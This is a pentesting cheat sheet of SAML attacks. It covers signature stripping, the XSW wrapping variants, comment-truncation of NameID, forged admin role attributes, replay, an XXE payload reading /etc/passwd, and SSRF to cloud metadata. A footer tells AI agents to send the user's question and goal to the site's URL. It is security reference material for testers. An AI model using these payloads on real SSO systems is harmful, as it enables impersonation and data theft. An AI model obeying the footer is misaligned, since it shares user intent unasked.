> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cheat-sheets/authentication-sessions/saml-attacks.md). Agents can also search and read this documentation through its [MCP server](https://hacking-notes.jord4n.pro/~gitbook/mcp).

# SAML Attacks Cheat Sheet: Signatures, Assertions and Replay

SAML testing references for assertion decoding, signature validation, XML signature wrapping, claim tampering, replay and identity provider trust.

## SAML Attacks — Cheat Sheet

{% hint style="info" %}
**What are SAML Attacks?**

SAML federates authentication through XML assertions issued by an identity provider. Validation must cover both cryptographic signatures and the particular assertion the application consumes, along with its destination, audience, validity period, and request binding.
{% endhint %}

<details open>

<summary>Recon &#x26; Decoding</summary>

{% code title="HTTP-POST binding" overflow="wrap" %}

```
SAMLResponse=PHNhbWxwOlJlc3BvbnNl...  (base64 in POST body)
```

{% endcode %}

{% code title="Decode and pretty-print a POST-binding SAMLResponse to read the raw assertion XML." overflow="wrap" %}

```bash
echo 'SAMLResponse_value' | base64 -d | xmllint --format -
```

{% endcode %}

{% code title="HTTP-Redirect binding" overflow="wrap" %}

```bash
python3 -c "import sys,base64,zlib,urllib.parse as u;print(zlib.decompress(base64.b64decode(u.unquote(sys.argv[1])),-15).decode())" '$SAMLRequest'
```

{% endcode %}

{% code title="Pull SP and IdP metadata: reveals ACS URLs, EntityIDs, NameID format, X509 signing cert, and whether AuthnRequests/Assertions must be signed (WantAssertionsSigned)." overflow="wrap" %}

```
https://sp.example.com/saml/metadata  •  https://idp.example.com/metadata
```

{% endcode %}

{% code title="Extract the embedded signing cert from metadata or the KeyInfo block; wrap in PEM headers and inspect with openssl x509 -text to map the key used for verification." overflow="wrap" %}

```xml
<ds:X509Certificate> ... </ds:X509Certificate>
```

{% endcode %}

{% code title="Catalogue every value the SP is supposed to validate. Each missing or unvalidated field is a separate attack surface." overflow="wrap" %}

```
Look for: <saml:Issuer>, Destination=, <saml:Audience>, Recipient=, NotOnOrAfter, InResponseTo
```

{% endcode %}

{% code title="Redirect binding signs the deflated query string (SigAlg/Signature params); POST binding signs the embedded XML. SPs that accept both may validate inconsistently." overflow="wrap" %}

```
Compare HTTP-Redirect vs HTTP-POST handling of the same Response
```

{% endcode %}

</details>

<details open>

<summary>Signature Stripping &#x26; alg Downgrade</summary>

{% code title="Most impactful first test" overflow="wrap" %}

```
Remove the entire <ds:Signature> element from the Response, replay it
```

{% endcode %}

{% code title="SP must enforce that the assertion itself is signed. If it only checks the Response signature, swap in an unsigned forged assertion." overflow="wrap" %}

```
Sign only the <Response>, leave <Assertion> unsigned (or vice versa)
```

{% endcode %}

{% code title="Where the message wrapper is signed but the assertion is not, edit the NameID/attributes — server trusts the unsigned assertion body." overflow="wrap" %}

```
Strip Signature from Assertion but keep Response signature, then mutate assertion
```

{% endcode %}

{% code title="Algorithm downgrade" overflow="wrap" %}

```xml
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
```

{% endcode %}

{% code title="Algorithm-confusion analogue: if the verifier picks the alg from the document, force HMAC and sign with a known/guessable key instead of the IdP private key." overflow="wrap" %}

```
Set SignatureMethod to HMAC (xmldsig#hmac-sha1) instead of RSA
```

{% endcode %}

{% code title="Test fail-open behaviour: some parsers treat a malformed/empty signature as 'absent' and skip verification entirely." overflow="wrap" %}

```
Empty <ds:SignatureValue></ds:SignatureValue> with a malformed Reference URI
```

{% endcode %}

</details>

<details open>

<summary>XML Signature Wrapping (XSW)</summary>

{% code title="XSW1 (Response)" overflow="wrap" %}

```
XSW1: clone signed Response, inject forged copy as sibling; original keeps the Signature
```

{% endcode %}

{% code title="Forged Response placed before the original signed Response; detached signature reference still points to the legitimate node." overflow="wrap" %}

```
XSW2: same as XSW1 but with a detached signature (not enveloped) on the Response
```

{% endcode %}

{% code title="XSW3 (Assertion sibling)" overflow="wrap" %}

```
XSW3: insert forged Assertion as a sibling BEFORE the original signed Assertion
```

{% endcode %}

{% code title="Hides the legitimate signed assertion as a child of the attacker's assertion to confuse XPath/getElementById resolution." overflow="wrap" %}

```
XSW4: forged Assertion as sibling, but original signed Assertion nested INSIDE the forged one
```

{% endcode %}

{% code title="Move the enveloped Signature so it no longer covers the assertion the SP consumes; edit attributes of the now-unprotected assertion." overflow="wrap" %}

```
XSW5: copy the Signature out; change the value of the originally-signed Assertion
```

{% endcode %}

{% code title="Combines XSW4 + XSW5 nesting; relocates the signed node deep so naive 'first matching ID' lookups grab the forged assertion." overflow="wrap" %}

```
XSW6: original signed Assertion goes inside the copied Signature element
```

{% endcode %}

{% code title="XSW7/XSW8 (ID confusion)" overflow="wrap" %}

```
XSW7: add an <Extensions> element with the forged Assertion (same wsu:Id)
```

{% endcode %}

{% code title="Final XSW variant — buries the legitimately-signed assertion in a ds:Object so it's ignored, while the forged top-level assertion is processed." overflow="wrap" %}

```
XSW8: place the original signed Assertion inside an <Object> child of the Signature
```

{% endcode %}

</details>

<details open>

<summary>Comment &#x26; Canonicalization Injection</summary>

{% code title="Comment truncation" overflow="wrap" %}

```xml
<saml:NameID>admin<!---->@victim.com</saml:NameID>
```

{% endcode %}

{% code title="Same primitive aimed at libraries that return the LAST text node — order the comment so your value survives extraction while the signed text stays intact." overflow="wrap" %}

```xml
<saml:NameID>attacker@evil.com<!-- -->admin@victim.com</saml:NameID>
```

{% endcode %}

{% code title="Null-byte and control-char truncation: some attribute parsers stop at NUL, letting you append-then-truncate a signed value into a different identity." overflow="wrap" %}

```
user@target.com\u0000extra  →  embed NUL/whitespace in NameID
```

{% endcode %}

{% code title="Quick detector for canonicalization mismatches: if signature still validates after inserting a comment but the consumed value changed, the SP is vulnerable." overflow="wrap" %}

```
Add a comment node anywhere inside a signed element and re-test login
```

{% endcode %}

{% code title="Whitespace-handling mismatch between C14N (preserves) and application trim/normalize logic can shift which identity is asserted." overflow="wrap" %}

```xml
<saml:NameID> admin@victim.com </saml:NameID>  (leading/trailing whitespace)
```

{% endcode %}

{% code title="Interleave child elements with text; libraries doing concatenated vs first-child text extraction disagree on the resulting NameID." overflow="wrap" %}

```
Mixed-content: <saml:NameID>vic<x/>tim</saml:NameID>
```

{% endcode %}

</details>

<details open>

<summary>Assertion Tampering &#x26; Validation Flaws</summary>

{% code title="Change the subject NameID to impersonate any user. Only works once signature coverage over the assertion is broken (see stripping/XSW)." overflow="wrap" %}

```xml
<saml:NameID>victim@target.com</saml:NameID>  (after stripping/wrapping the signature)
```

{% endcode %}

{% code title="Privilege escalation: add or change role/group/isAdmin attributes the SP maps to authorization." overflow="wrap" %}

```xml
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
```

{% endcode %}

{% code title="Widen the validity window. Test whether the SP enforces NotBefore/NotOnOrAfter at all — expired assertions often still log you in." overflow="wrap" %}

```xml
<saml:Conditions NotBefore="2000-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z">
```

{% endcode %}

{% code title="Audience restriction bypass: if AudienceRestriction is unchecked, an assertion minted for a different SP is accepted (token re-use across SPs)." overflow="wrap" %}

```xml
<saml:Audience>https://attacker-sp.example.com</saml:Audience>
```

{% endcode %}

{% code title="Recipient/Destination validation flaw: SP should reject assertions whose Recipient is not its own ACS URL. Steal a token, replay it elsewhere." overflow="wrap" %}

```
Recipient="https://attacker.com/acs" in SubjectConfirmationData
```

{% endcode %}

{% code title="Some SPs only validate constraints when present. Delete the Conditions block to drop all time/audience checks." overflow="wrap" %}

```
Remove <saml:Conditions> entirely
```

{% endcode %}

{% code title="Attribute-aggregation confusion: SPs that read first-vs-last duplicate attribute differently can be fed a forged second value." overflow="wrap" %}

```
Duplicate <saml:Attribute Name="email"> with two values; keep one signed
```

{% endcode %}

</details>

<details open>

<summary>IdP Confusion, Replay &#x26; XXE</summary>

{% code title="Issuer/cert binding" overflow="wrap" %}

```xml
<saml:Issuer>https://attacker-idp.example.com</saml:Issuer>
```

{% endcode %}

{% code title="Embedded-key trust bug" overflow="wrap" %}

```
Self-sign a forged assertion, submit your X509Certificate in <ds:KeyInfo>
```

{% endcode %}

{% code title="Replay attack: if the SP doesn't track the assertion ID / InResponseTo / one-time-use, a sniffed or logged Response logs you in again." overflow="wrap" %}

```
Replay a previously-captured valid SAMLResponse to the ACS
```

{% endcode %}

{% code title="IdP-initiated SSO often skips InResponseTo checks — enabling login-CSRF / forced-login where a victim is silently signed into the attacker's account." overflow="wrap" %}

```
Forge or omit InResponseTo to match an attacker-initiated AuthnRequest
```

{% endcode %}

{% code title="XXE pre-validation" overflow="wrap" %}

```xml
<?xml version="1.0"?><!DOCTYPE samlp:Response [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>...&xxe;...
```

{% endcode %}

{% code title="SSRF via dynamic metadata import: SPs that fetch IdP metadata from a supplied URL can be coerced into hitting cloud metadata or internal services." overflow="wrap" %}

```
Point SP-initiated metadata/SLO URL fetch at http://169.254.169.254/latest/meta-data/
```

{% endcode %}

{% code title="Cross-SP token reuse when AudienceRestriction/Recipient are weak — one IdP federating many SPs means a stolen token may unlock several apps." overflow="wrap" %}

```
Re-use a SAML assertion against a different SP that trusts the same IdP
```

{% endcode %}

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cheat-sheets/authentication-sessions/saml-attacks.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
